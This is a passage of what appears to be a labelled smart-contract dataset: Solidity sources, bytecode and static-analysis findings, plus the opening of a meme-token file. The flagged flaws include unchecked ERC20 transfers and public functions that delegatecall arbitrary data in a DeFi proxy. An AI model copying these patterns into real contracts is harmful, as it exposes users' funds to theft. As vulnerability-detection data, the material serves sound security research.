groupsBlocked[_groupName] = _blocked;
return OK;
}
/// @notice Add users in group
/// Can be called only by contract owner
///
/// @param _groupName group name
/// @param _users user array
///
/// @return code
function addUsersToGroup(bytes32 _groupName, address[] _users) external onlyContractOwner returns (uint) {
require(isGroupExists(_groupName));
Group storage _group = groupName2group[_groupName];
uint _groupMembersCount = _group.membersCount;
for (uint _userIdx = 0; _userIdx < _users.length; ++_userIdx) {
address _user = _users[_userIdx];
uint _memberIndex = memberAddress2index[_user];
require(_memberIndex != 0);
if (_group.memberAddress2index[_user] != 0) {
continue;
}
_groupMembersCount = _groupMembersCount.add(1);
_group.memberAddress2index[_user] = _groupMembersCount;
_group.index2globalIndex[_groupMembersCount] = _memberIndex;
_addGroupToMember(_user, _groupName);
UserToGroupAdded(_user, _groupName);
}
_group.membersCount = _groupMembersCount;
return OK;
}
/// @notice Remove users in group
/// Can be called only by contract owner
///
/// @param _groupName group name
/// @param _users user array
///
/// @return code
function removeUsersFromGroup(bytes32 _groupName, address[] _users) external onlyContractOwner returns (uint) {
require(isGroupExists(_groupName));
Group storage _group = groupName2group[_groupName];
uint _groupMembersCount = _group.membersCount;
for (uint _userIdx = 0; _userIdx < _users.length; ++_userIdx) {
address _user = _users[_userIdx];
uint _memberIndex = memberAddress2index[_user];
uint _groupMemberIndex = _group.memberAddress2index[_user];
if (_memberIndex == 0 || _groupMemberIndex == 0) {
continue;
}
if (_groupMemberIndex != _groupMembersCount) {
uint _lastUserGlobalIndex = _group.index2globalIndex[_groupMembersCount];
address _lastUser = index2memberAddress[_lastUserGlobalIndex];
_group.index2globalIndex[_groupMemberIndex] = _lastUserGlobalIndex;
_group.memberAddress2index[_lastUser] = _groupMemberIndex;
}
delete _group.memberAddress2index[_user];
delete _group.index2globalIndex[_groupMembersCount];
_groupMembersCount = _groupMembersCount.sub(1);
_removeGroupFromMember(_user, _groupName);
UserFromGroupRemoved(_user, _groupName);
}
_group.membersCount = _groupMembersCount;
return OK;
}
/// @notice Check is user registered
///
/// @param _user user address
///
/// @return status
function isRegisteredUser(address _user) public view returns (bool) {
return memberAddress2index[_user] != 0;
}
/// @notice Check is user in group
///
/// @param _groupName user array
/// @param _user user array
///
/// @return status
function isUserInGroup(bytes32 _groupName, address _user) public view returns (bool) {
return isRegisteredUser(_user) && address2member[_user].groupName2index[_groupName] != 0;
}
/// @notice Check is group exist
///
/// @param _groupName group name
///
/// @return status
function isGroupExists(bytes32 _groupName) public view returns (bool) {
return groupName2index[_groupName] != 0;
}
/// @notice Get current group names
///
/// @return group names
function getGroups() public view returns (bytes32[] _groups) {
uint _groupsCount = groupsCount;
_groups = new bytes32[](_groupsCount);
for (uint _groupIdx = 0; _groupIdx < _groupsCount; ++_groupIdx) {
_groups[_groupIdx] = index2groupName[_groupIdx + 1];
}
}
// PRIVATE
function _removeGroupFromMember(address _user, bytes32 _groupName) private {
Member storage _member = address2member[_user];
uint _memberGroupsCount = _member.groupsCount;
uint _memberGroupIndex = _member.groupName2index[_groupName];
if (_memberGroupIndex != _memberGroupsCount) {
uint _lastGroupGlobalIndex = _member.index2globalIndex[_memberGroupsCount];
bytes32 _lastGroupName = index2groupName[_lastGroupGlobalIndex];
_member.index2globalIndex[_memberGroupIndex] = _lastGroupGlobalIndex;
_member.groupName2index[_lastGroupName] = _memberGroupIndex;
}
delete _member.groupName2index[_groupName];
delete _member.index2globalIndex[_memberGroupsCount];
_member.groupsCount = _memberGroupsCount.sub(1);
}
function _addGroupToMember(address _user, bytes32 _groupName) private {
Member storage _member = address2member[_user];
uint _memberGroupsCount = _member.groupsCount.add(1);
_member.groupName2index[_groupName] = _memberGroupsCount;
_member.index2globalIndex[_memberGroupsCount] = groupName2index[_groupName];
_member.groupsCount = _memberGroupsCount;
}
}
|
0x6060604052600436106100ed5763ffffffff60e060020a600035041663182e8a6781146100f25780631846d1251461011f5780631f5bdf5d146101495780632199d5cd1461016857806321f2ca3b14610187578063297f9af0146101a65780632b04b478146101b957806341ad5c72146101db5780634592cd1d146101f4578063557f4bc9146102075780635aa77d3c146102265780635e5ff24b1461025557806383197ef014610277578063885e27501461028c578063c72b51761461029f578063ce606ee014610305578063d7a405a614610318578063d8f9659b1461032e578063da4f289914610388575b600080fd5b34156100fd57600080fd5b61010d60043560243515156103aa565b60405190815260200160405180910390f35b341561012a57600080fd5b6101356004356103fa565b604051901515815260200160405180910390f35b341561015457600080fd5b610135600160a060020a0360043516610411565b341561017357600080fd5b61010d600160a060020a036004351661042e565b341561019257600080fd5b61010d600160a060020a0360043516610569565b34156101b157600080fd5b61010d610704565b34156101c457600080fd5b61010d60048035906024803590810191013561070a565b34156101e657600080fd5b61010d6004356024356108d9565b34156101ff57600080fd5b6101356109d8565b341561021257600080fd5b610135600160a060020a0360043516610a23565b341561023157600080fd5b610239610a76565b604051600160a060020a03909116815260200160405180910390f35b341561026057600080fd5b61010d600480359060248035908101910135610a85565b341561028257600080fd5b61028a610c22565b005b341561029757600080fd5b61010d610c47565b34156102aa57600080fd5b6102b2610c4d565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156102f15780820151838201526020016102d9565b505050509050019250505060405180910390f35b341561031057600080fd5b610239610cbe565b341561032357600080fd5b610135600435610ccd565b341561033957600080fd5b61010d600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050509235600160a060020a03169250610ce2915050565b341561039357600080fd5b610135600435600160a060020a0360243516610e31565b6000805433600160a060020a03908116911614156103f4576103cb836103fa565b15156103d657600080fd5b506000828152600a60205260409020805460ff191682151517905560015b92915050565b60008181526008602052604090205415155b919050565b600160a060020a0316600090815260046020526040902054151590565b60008054819033600160a060020a039081169116141561056357600160a060020a038316151561045d57600080fd5b61046683610411565b15610476576201b1999150610563565b60025461048a90600163ffffffff610e7416565b6002819055600160a060020a03841660008181526004602090815260408083208590558483526003909152908190208054600160a060020a03191690921790915590915080519081016040908152600160a060020a0385168083526000602080850182905291815260059091522081518154600160a060020a031916600160a060020a03919091161781556020820151600190910155507f0b0376a109cbb578b709f85f6a7befcdac3ac1ab251c99ede87f30c9572ac4d383604051600160a060020a03909116815260200160405180910390a1600191505b50919050565b6000805481908190819033600160a060020a03908116911614156106fc57600160a060020a038516151561059c57600080fd5b600160a060020a03851660009081526004602052604090205492508215806105de5750600160a060020a03851660009081526005602052604090206001015415155b156105ee576201b19f93506106fc565b600254600160a060020a038616600090815260046020526040812055915082821461065757506000818152600360209081526040808320548584528184208054600160a060020a031916600160a060020a03909216918217905580845260049092529091208390555b600160a060020a03851660008181526005602090815260408083208054600160a060020a031990811682556001918201859055878552600384528285208054909116905593835260049091528120556106b790839063ffffffff610e8316565b6002557f4bc56f1321288dfb5b416cb3a7fd188723979f9e866c91d88eccf7fca039d03985604051600160a060020a03909116815260200160405180910390a1600193505b505050919050565b60025481565b600080600080600080600080600033600160a060020a03166000809054906101000a9004600160a060020a0316600160a060020a031614156108ca5761074f8c6103fa565b151561075a57600080fd5b60008c81526009602052604081206002810154909950975095505b898610156108be578a8a8781811061078957fe5b60209081029290920135600160a060020a031660008181526004845260408082205460038e01909552902054909750919550909350508315806107ca575082155b156107d4576108b3565b8287146108245750506000858152600487016020818152604080842054808552600380845282862054878752948452828620829055600160a060020a03909416808652938b019092529092208390555b600160a060020a0385166000908152600389016020908152604080832083905589835260048b0190915281205561086287600163ffffffff610e8316565b965061086e858d610e95565b7fa4855c75f3fd067fb65c2fb91de0ddd2d34409221ace6e2501684877ace3b0c8858d604051600160a060020a03909216825260208201526040908101905180910390a15b856001019550610775565b60028801879055600198505b50505050505050509392505050565b60008054819033600160a060020a03908116911614156109d1578315156108ff57600080fd5b610908846103fa565b15610918576201b19a91506109d1565b60065461092c90600163ffffffff610e7416565b600085815260086020908152604080832084905583835260079091529081902086905590915060609051908101604090815285825260208083018690526000828401819052878152600990915220815181556020820151816001015560408201516002909101555060068190557f68f2001f3d21c00cd78cc99ed066e602521463b601394d6b4b0664ceed3946118460405190815260200160405180910390a1600191505b5092915050565b60015460009033600160a060020a039081169116146109f957506000610a20565b506001805460008054600160a060020a0319908116600160a060020a038416179091551681555b90565b6000805433600160a060020a039081169116141561040c57600160a060020a0382161515610a535750600061040c565b5060018054600160a060020a038316600160a060020a0319909116178155919050565b600154600160a060020a031681565b60008060008060008033600160a060020a03166000809054906101000a9004600160a060020a0316600160a060020a03161415610c1657610ac5896103fa565b1515610ad057600080fd5b60008981526009602052604081206002810154909650945092505b86831015610c0a57878784818110610aff57fe5b90506020020135600160a060020a031691506004600083600160a060020a0316600160a060020a0316815260200190815260200160002054905080600014151515610b4957600080fd5b600160a060020a038216600090815260038601602052604090205415610b6e57610bff565b610b7f84600163ffffffff610e7416565b600160a060020a038316600090815260038701602090815260408083208490558383526004890190915290208290559350610bba828a610f50565b7fca89f64dd650c9243356a207b3f79c5cfd0eea1fd05ccc688905417e1b135ee1828a604051600160a060020a03909216825260208201526040908101905180910390a15b826001019250610aeb565b60028501849055600195505b50505050509392505050565b60005433600160a060020a0390811691161415610c455733600160a060020a0316ff5b565b60065481565b610c55610fb7565b600654600081604051805910610c685750595b90808252806020026020018201604052509250600090505b81811015610cb95760018101600090815260076020526040902054838281518110610ca757fe5b60209081029091010152600101610c80565b505090565b600054600160a060020a031681565b600a6020526000908152604090205460ff1681565b6000805481908190819033600160a060020a0390811691161415610e2857600092505b8551831015610e2357858381518110610d1a57fe5b90602001906020020151915081600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610d7d57600080fd5b6102c65a03f11515610d8e57600080fd5b50505060405180519150508015610e185781600160a060020a031663a9059cbb868360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610dfc57600080fd5b6102c65a03f11515610e0d57600080fd5b505050604051805150505b600190920191610d05565b600193505b50505092915050565b6000610e3c82610411565b8015610e6d5750600160a060020a038216600090815260056020908152604080832086845260020190915290205415155b9392505050565b600082820183811015610e6d57fe5b600082821115610e8f57fe5b50900390565b600160a060020a038216600090815260056020908152604080832060018101548585526002820190935290832054909280828414610f0b57505060008281526003840160208181526040808420548085526007835281852054868652938352818520819055838552600288019092529092208390555b6000868152600286016020908152604080832083905586835260038801909152812055610f3f84600163ffffffff610e8316565b856001018190555050505050505050565b600160a060020a0382166000908152600560205260408120600180820154919291610f809163ffffffff610e7416565b6000938452600283016020908152604080862083905560088252808620548387526003860190925290942093909355506001015550565b602060405190810160405260008152905600a165627a7a72305820cc97e47457bf31e15917c4a58a7659337cd206ec9820fc5214110d1d49ddaf620029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,268 |
0x13000c4a215efe7e414bb329b2f11c39bcf92d78
|
/**
*Submitted for verification at Etherscan.io on 2021-02-23
*/
pragma solidity 0.6.12;
interface marketManagerInterface {
function setOracleProxy(address oracleProxyAddr) external returns (bool);
function setBreakerTable(address _target, bool _status) external returns (bool);
function getCircuitBreaker() external view returns (bool);
function setCircuitBreaker(bool _emergency) external returns (bool);
function getTokenHandlerInfo(uint256 handlerID) external view returns (bool, address, string memory);
function handlerRegister(uint256 handlerID, address tokenHandlerAddr) external returns (bool);
function applyInterestHandlers(address payable userAddr, uint256 callerID, bool allFlag) external returns (uint256, uint256, uint256);
function liquidationApplyInterestHandlers(address payable userAddr, uint256 callerID) external returns (uint256, uint256, uint256, uint256, uint256);
function getTokenHandlerPrice(uint256 handlerID) external view returns (uint256);
function getTokenHandlerBorrowLimit(uint256 handlerID) external view returns (uint256);
function getTokenHandlerSupport(uint256 handlerID) external view returns (bool);
function getTokenHandlersLength() external view returns (uint256);
function setTokenHandlersLength(uint256 _tokenHandlerLength) external returns (bool);
function getTokenHandlerID(uint256 index) external view returns (uint256);
function getTokenHandlerMarginCallLimit(uint256 handlerID) external view returns (uint256);
function getUserIntraHandlerAssetWithInterest(address payable userAddr, uint256 handlerID) external view returns (uint256, uint256);
function getUserTotalIntraCreditAsset(address payable userAddr) external view returns (uint256, uint256);
function getUserLimitIntraAsset(address payable userAddr) external view returns (uint256, uint256);
function getUserCollateralizableAmount(address payable userAddr, uint256 handlerID) external view returns (uint256);
function getUserExtraLiquidityAmount(address payable userAddr, uint256 handlerID) external view returns (uint256);
function partialLiquidationUser(address payable delinquentBorrower, uint256 liquidateAmount, address payable liquidator, uint256 liquidateHandlerID, uint256 rewardHandlerID) external returns (uint256, uint256, uint256);
function getMaxLiquidationReward(address payable delinquentBorrower, uint256 liquidateHandlerID, uint256 liquidateAmount, uint256 rewardHandlerID, uint256 rewardRatio) external view returns (uint256);
function partialLiquidationUserReward(address payable delinquentBorrower, uint256 rewardAmount, address payable liquidator, uint256 handlerID) external returns (uint256);
function setLiquidationManager(address liquidationManagerAddr) external returns (bool);
function rewardClaimAll(address payable userAddr) external returns (bool);
function rewardTransfer(uint256 _claimAmountSum) external returns (bool);
function updateRewardParams(address payable userAddr) external returns (bool);
function interestUpdateReward() external returns (bool);
function getGlobalRewardInfo() external view returns (uint256, uint256, uint256);
}
interface interestModelInterface {
function getInterestAmount(address handlerDataStorageAddr, address payable userAddr, bool isView) external view returns (bool, uint256, uint256, bool, uint256, uint256);
function viewInterestAmount(address handlerDataStorageAddr, address payable userAddr) external view returns (bool, uint256, uint256, bool, uint256, uint256);
function getSIRandBIR(address handlerDataStorageAddr, uint256 depositTotalAmount, uint256 borrowTotalAmount) external view returns (uint256, uint256);
}
interface marketHandlerDataStorageInterface {
function setCircuitBreaker(bool _emergency) external returns (bool);
function setNewCustomer(address payable userAddr) external returns (bool);
function getUserAccessed(address payable userAddr) external view returns (bool);
function setUserAccessed(address payable userAddr, bool _accessed) external returns (bool);
function getReservedAddr() external view returns (address payable);
function setReservedAddr(address payable reservedAddress) external returns (bool);
function getReservedAmount() external view returns (int256);
function addReservedAmount(uint256 amount) external returns (int256);
function subReservedAmount(uint256 amount) external returns (int256);
function updateSignedReservedAmount(int256 amount) external returns (int256);
function setTokenHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool);
function setCoinHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool);
function getDepositTotalAmount() external view returns (uint256);
function addDepositTotalAmount(uint256 amount) external returns (uint256);
function subDepositTotalAmount(uint256 amount) external returns (uint256);
function getBorrowTotalAmount() external view returns (uint256);
function addBorrowTotalAmount(uint256 amount) external returns (uint256);
function subBorrowTotalAmount(uint256 amount) external returns (uint256);
function getUserIntraDepositAmount(address payable userAddr) external view returns (uint256);
function addUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256);
function subUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256);
function getUserIntraBorrowAmount(address payable userAddr) external view returns (uint256);
function addUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256);
function subUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256);
function addDepositAmount(address payable userAddr, uint256 amount) external returns (bool);
function addBorrowAmount(address payable userAddr, uint256 amount) external returns (bool);
function subDepositAmount(address payable userAddr, uint256 amount) external returns (bool);
function subBorrowAmount(address payable userAddr, uint256 amount) external returns (bool);
function getUserAmount(address payable userAddr) external view returns (uint256, uint256);
function getHandlerAmount() external view returns (uint256, uint256);
function getAmount(address payable userAddr) external view returns (uint256, uint256, uint256, uint256);
function setAmount(address payable userAddr, uint256 depositTotalAmount, uint256 borrowTotalAmount, uint256 depositAmount, uint256 borrowAmount) external returns (uint256);
function setBlocks(uint256 lastUpdatedBlock, uint256 inactiveActionDelta) external returns (bool);
function getLastUpdatedBlock() external view returns (uint256);
function setLastUpdatedBlock(uint256 _lastUpdatedBlock) external returns (bool);
function getInactiveActionDelta() external view returns (uint256);
function setInactiveActionDelta(uint256 inactiveActionDelta) external returns (bool);
function syncActionEXR() external returns (bool);
function getActionEXR() external view returns (uint256, uint256);
function setActionEXR(uint256 actionDepositExRate, uint256 actionBorrowExRate) external returns (bool);
function getGlobalDepositEXR() external view returns (uint256);
function getGlobalBorrowEXR() external view returns (uint256);
function setEXR(address payable userAddr, uint256 globalDepositEXR, uint256 globalBorrowEXR) external returns (bool);
function getUserEXR(address payable userAddr) external view returns (uint256, uint256);
function setUserEXR(address payable userAddr, uint256 depositEXR, uint256 borrowEXR) external returns (bool);
function getGlobalEXR() external view returns (uint256, uint256);
function getMarketHandlerAddr() external view returns (address);
function setMarketHandlerAddr(address marketHandlerAddr) external returns (bool);
function getInterestModelAddr() external view returns (address);
function setInterestModelAddr(address interestModelAddr) external returns (bool);
function getLimit() external view returns (uint256, uint256);
function getBorrowLimit() external view returns (uint256);
function getMarginCallLimit() external view returns (uint256);
function getMinimumInterestRate() external view returns (uint256);
function getLiquiditySensitivity() external view returns (uint256);
function setBorrowLimit(uint256 _borrowLimit) external returns (bool);
function setMarginCallLimit(uint256 _marginCallLimit) external returns (bool);
function setMinimumInterestRate(uint256 _minimumInterestRate) external returns (bool);
function setLiquiditySensitivity(uint256 _liquiditySensitivity) external returns (bool);
function getLimitOfAction() external view returns (uint256);
function setLimitOfAction(uint256 limitOfAction) external returns (bool);
function getLiquidityLimit() external view returns (uint256);
function setLiquidityLimit(uint256 liquidityLimit) external returns (bool);
}
interface marketSIHandlerDataStorageInterface {
function setCircuitBreaker(bool _emergency) external returns (bool);
function updateRewardPerBlockStorage(uint256 _rewardPerBlock) external returns (bool);
function getRewardInfo(address userAddr) external view returns (uint256, uint256, uint256, uint256, uint256, uint256);
function getMarketRewardInfo() external view returns (uint256, uint256, uint256);
function setMarketRewardInfo(uint256 _rewardLane, uint256 _rewardLaneUpdateAt, uint256 _rewardPerBlock) external returns (bool);
function getUserRewardInfo(address userAddr) external view returns (uint256, uint256, uint256);
function setUserRewardInfo(address userAddr, uint256 _rewardLane, uint256 _rewardLaneUpdateAt, uint256 _rewardAmount) external returns (bool);
function getBetaRate() external view returns (uint256);
function setBetaRate(uint256 _betaRate) external returns (bool);
}
contract proxy {
address payable owner;
uint256 handlerID;
string tokenName = "ether";
uint256 constant unifiedPoint = 10 ** 18;
marketManagerInterface marketManager;
interestModelInterface interestModelInstance;
marketHandlerDataStorageInterface handlerDataStorage;
marketSIHandlerDataStorageInterface SIHandlerDataStorage;
address public handler;
address public SI;
string DEPOSIT = "deposit(uint256,bool)";
string REDEEM = "withdraw(uint256,bool)";
string BORROW = "borrow(uint256,bool)";
string REPAY = "repay(uint256,bool)";
modifier onlyOwner {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
modifier onlyMarketManager {
address msgSender = msg.sender;
require((msgSender == address(marketManager)) || (msgSender == owner), "onlyMarketManager function");
_;
}
constructor () public
{
owner = msg.sender;
}
function ownershipTransfer(address _owner) onlyOwner external returns (bool)
{
owner = address(uint160(_owner));
return true;
}
function initialize(uint256 _handlerID, address handlerAddr, address marketManagerAddr, address interestModelAddr, address marketDataStorageAddr, address siHandlerAddr, address SIHandlerDataStorageAddr) onlyOwner public returns (bool)
{
handlerID = _handlerID;
handler = handlerAddr;
SI = siHandlerAddr;
marketManager = marketManagerInterface(marketManagerAddr);
interestModelInstance = interestModelInterface(interestModelAddr);
handlerDataStorage = marketHandlerDataStorageInterface(marketDataStorageAddr);
SIHandlerDataStorage = marketSIHandlerDataStorageInterface(SIHandlerDataStorageAddr);
}
function setHandlerID(uint256 _handlerID) onlyOwner public returns (bool)
{
handlerID = _handlerID;
return true;
}
function setHandlerAddr(address handlerAddr) onlyOwner public returns (bool)
{
handler = handlerAddr;
return true;
}
function setSiHandlerAddr(address siHandlerAddr) onlyOwner public returns (bool)
{
SI = siHandlerAddr;
return true;
}
function getHandlerID() public view returns (uint256)
{
return handlerID;
}
function getHandlerAddr() public view returns (address)
{
return handler;
}
function getSiHandlerAddr() public view returns (address)
{
return SI;
}
function migration(address payable target) onlyOwner public returns (bool)
{
target.transfer(address(this).balance);
}
fallback () external payable
{
require(msg.value != 0, "DEPOSIT use unifiedTokenAmount");
}
function deposit(uint256 unifiedTokenAmount, bool flag) public payable returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(DEPOSIT, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function withdraw(uint256 unifiedTokenAmount, bool flag) public returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(REDEEM, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function borrow(uint256 unifiedTokenAmount, bool flag) public returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(BORROW, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function repay(uint256 unifiedTokenAmount, bool flag) public payable returns (bool)
{
bool result;
bytes memory returnData;
bytes memory data = abi.encodeWithSignature(REPAY, unifiedTokenAmount, flag);
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return result;
}
function handlerProxy(bytes memory data) onlyMarketManager external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function handlerViewProxy(bytes memory data) external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = handler.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function siProxy(bytes memory data) onlyMarketManager external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = SI.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
function siViewProxy(bytes memory data) external returns (bool, bytes memory)
{
bool result;
bytes memory returnData;
(result, returnData) = SI.delegatecall(data);
require(result, string(returnData));
return (result, returnData);
}
}
contract CoinHandlerProxy is proxy {
constructor()
proxy() public {}
}
|
0x6080604052600436106101145760003560e01c80638cd01307116100a0578063ba0b362311610064578063ba0b36231461062a578063c0a47d451461064f578063c80916d414610664578063d3a417a214610679578063ff41073a146106ac57610114565b80638cd013071461051557806393b3532f146105475780639a408321146105a8578063adc49556146105cd578063b6fd00701461060057610114565b806343b5eabe116100e757806343b5eabe146103c2578063478a425114610473578063575979c5146104a6578063685e2486146104cd578063829311cc1461050057610114565b80630e76d128146101685780631e157ad11461029a5780631f426b1d146102cb57806338d074361461037c575b34610166576040805162461bcd60e51b815260206004820152601e60248201527f4445504f5349542075736520756e6966696564546f6b656e416d6f756e740000604482015290519081900360640190fd5b005b34801561017457600080fd5b506102196004803603602081101561018b57600080fd5b810190602081018135600160201b8111156101a557600080fd5b8201836020820111156101b757600080fd5b803590602001918460018302840111600160201b831117156101d857600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061075d945050505050565b60405180831515815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561025e578181015183820152602001610246565b50505050905090810190601f16801561028b5780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b3480156102a657600080fd5b506102af6108a5565b604080516001600160a01b039092168252519081900360200190f35b3480156102d757600080fd5b50610219600480360360208110156102ee57600080fd5b810190602081018135600160201b81111561030857600080fd5b82018360208201111561031a57600080fd5b803590602001918460018302840111600160201b8311171561033b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506108b4945050505050565b34801561038857600080fd5b506103ae6004803603604081101561039f57600080fd5b508035906020013515156108fb565b604080519115158252519081900360200190f35b3480156103ce57600080fd5b50610219600480360360208110156103e557600080fd5b810190602081018135600160201b8111156103ff57600080fd5b82018360208201111561041157600080fd5b803590602001918460018302840111600160201b8311171561043257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610abb945050505050565b34801561047f57600080fd5b506103ae6004803603602081101561049657600080fd5b50356001600160a01b0316610c45565b3480156104b257600080fd5b506104bb610cb8565b60408051918252519081900360200190f35b3480156104d957600080fd5b506103ae600480360360208110156104f057600080fd5b50356001600160a01b0316610cbe565b34801561050c57600080fd5b506102af610d47565b34801561052157600080fd5b506103ae6004803603604081101561053857600080fd5b50803590602001351515610d56565b34801561055357600080fd5b506103ae600480360360e081101561056a57600080fd5b508035906001600160a01b03602082013581169160408101358216916060820135811691608081013582169160a082013581169160c0013516610dc2565b6103ae600480360360408110156105be57600080fd5b50803590602001351515610e85565b3480156105d957600080fd5b506103ae600480360360208110156105f057600080fd5b50356001600160a01b0316610ef1565b34801561060c57600080fd5b506103ae6004803603602081101561062357600080fd5b5035610f64565b6103ae6004803603604081101561064057600080fd5b50803590602001351515610fbb565b34801561065b57600080fd5b506102af611027565b34801561067057600080fd5b506102af611036565b34801561068557600080fd5b506103ae6004803603602081101561069c57600080fd5b50356001600160a01b0316611045565b3480156106b857600080fd5b50610219600480360360208110156106cf57600080fd5b810190602081018135600160201b8111156106e957600080fd5b8201836020820111156106fb57600080fd5b803590602001918460018302840111600160201b8311171561071c57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506110b8945050505050565b6007546040518251600092606092849284926001600160a01b0316918791819060208401908083835b602083106107a55780518252601f199092019160209182019101610786565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610805576040519150601f19603f3d011682016040523d82523d6000602084013e61080a565b606091505b509092509050808261089a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561085f578181015183820152602001610847565b50505050905090810190601f16801561088c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b509092509050915091565b6008546001600160a01b031681565b6008546040518251600092606092849284926001600160a01b031691879181906020840190808383602083106107a55780518252601f199092019160209182019101610786565b600080606080600a8686604051602401808381526020018215158152602001925050506040516020818303038152906040529060405180828054600181600116156101000203166002900480156109895780601f10610967576101008083540402835291820191610989565b820191906000526020600020905b815481529060010190602001808311610975575b505060408051918290039091206020850180516001600160e01b03166001600160e01b0319909216919091178152600754915185519596506001600160a01b039092169486945091925082918083835b602083106109f85780518252601f1990920191602091820191016109d9565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610a58576040519150601f19603f3d011682016040523d82523d6000602084013e610a5d565b606091505b5090935091508183610ab05760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561085f578181015183820152602001610847565b509195945050505050565b60035460009060609033906001600160a01b0316811480610ae957506000546001600160a01b038281169116145b610b3a576040805162461bcd60e51b815260206004820152601a60248201527f6f6e6c794d61726b65744d616e616765722066756e6374696f6e000000000000604482015290519081900360640190fd5b60085460405185516000926060926001600160a01b0390911691889190819060208401908083835b60208310610b815780518252601f199092019160209182019101610b62565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610be1576040519150601f19603f3d011682016040523d82523d6000602084013e610be6565b606091505b5090925090508082610c395760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561085f578181015183820152602001610847565b50909350915050915091565b600080546001600160a01b03163314610c93576040805162461bcd60e51b8152602060048201819052602482015260008051602061117e833981519152604482015290519081900360640190fd5b50600780546001600160a01b0383166001600160a01b03199091161790556001919050565b60015490565b600080546001600160a01b03163314610d0c576040805162461bcd60e51b8152602060048201819052602482015260008051602061117e833981519152604482015290519081900360640190fd5b6040516001600160a01b038316904780156108fc02916000818181858888f19350505050158015610d41573d6000803e3d6000fd5b50919050565b6007546001600160a01b031690565b600080606080600b8686604051602401808381526020018215158152602001925050506040516020818303038152906040529060405180828054600181600116156101000203166002900480156109895780601f10610967576101008083540402835291820191610989565b600080546001600160a01b03163314610e10576040805162461bcd60e51b8152602060048201819052602482015260008051602061117e833981519152604482015290519081900360640190fd5b600197909755600780546001600160a01b03199081166001600160a01b0398891617909155600880548216938816939093179092556003805483169587169590951790945560048054821693861693909317909255600580548316918516919091179055600680549091169190921617905590565b60008060608060098686604051602401808381526020018215158152602001925050506040516020818303038152906040529060405180828054600181600116156101000203166002900480156109895780601f10610967576101008083540402835291820191610989565b600080546001600160a01b03163314610f3f576040805162461bcd60e51b8152602060048201819052602482015260008051602061117e833981519152604482015290519081900360640190fd5b50600880546001600160a01b0383166001600160a01b03199091161790556001919050565b600080546001600160a01b03163314610fb2576040805162461bcd60e51b8152602060048201819052602482015260008051602061117e833981519152604482015290519081900360640190fd5b50600190815590565b600080606080600c8686604051602401808381526020018215158152602001925050506040516020818303038152906040529060405180828054600181600116156101000203166002900480156109895780601f10610967576101008083540402835291820191610989565b6008546001600160a01b031690565b6007546001600160a01b031681565b600080546001600160a01b03163314611093576040805162461bcd60e51b8152602060048201819052602482015260008051602061117e833981519152604482015290519081900360640190fd5b50600080546001600160a01b0383166001600160a01b03199091161790556001919050565b60035460009060609033906001600160a01b03168114806110e657506000546001600160a01b038281169116145b611137576040805162461bcd60e51b815260206004820152601a60248201527f6f6e6c794d61726b65744d616e616765722066756e6374696f6e000000000000604482015290519081900360640190fd5b60075460405185516000926060926001600160a01b03909116918891908190602084019080838360208310610b815780518252601f199092019160209182019101610b6256fe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212201c349a0f330a14f011c0f6edf3b87294a3cac639ce438e27909e403975e869f064736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
| 9,269 |
0x06b790ff5E116c705796975A0ae3b99a07a64CAe
|
/*
Salman Moon Token
Fan token of legendary actor SALMAN KHAN
$SALMAN
Telegram: https://t.me/salmanmoontoken
...:::::::...
..:--==--------------==--::.
.:-=----------------------------=--:.
.:-=-----------================----------=-.
:-=---------==+++++++++++++++++++++====-------=-.
.-=--------==++++++++++++++++++++++++++++++==--------:
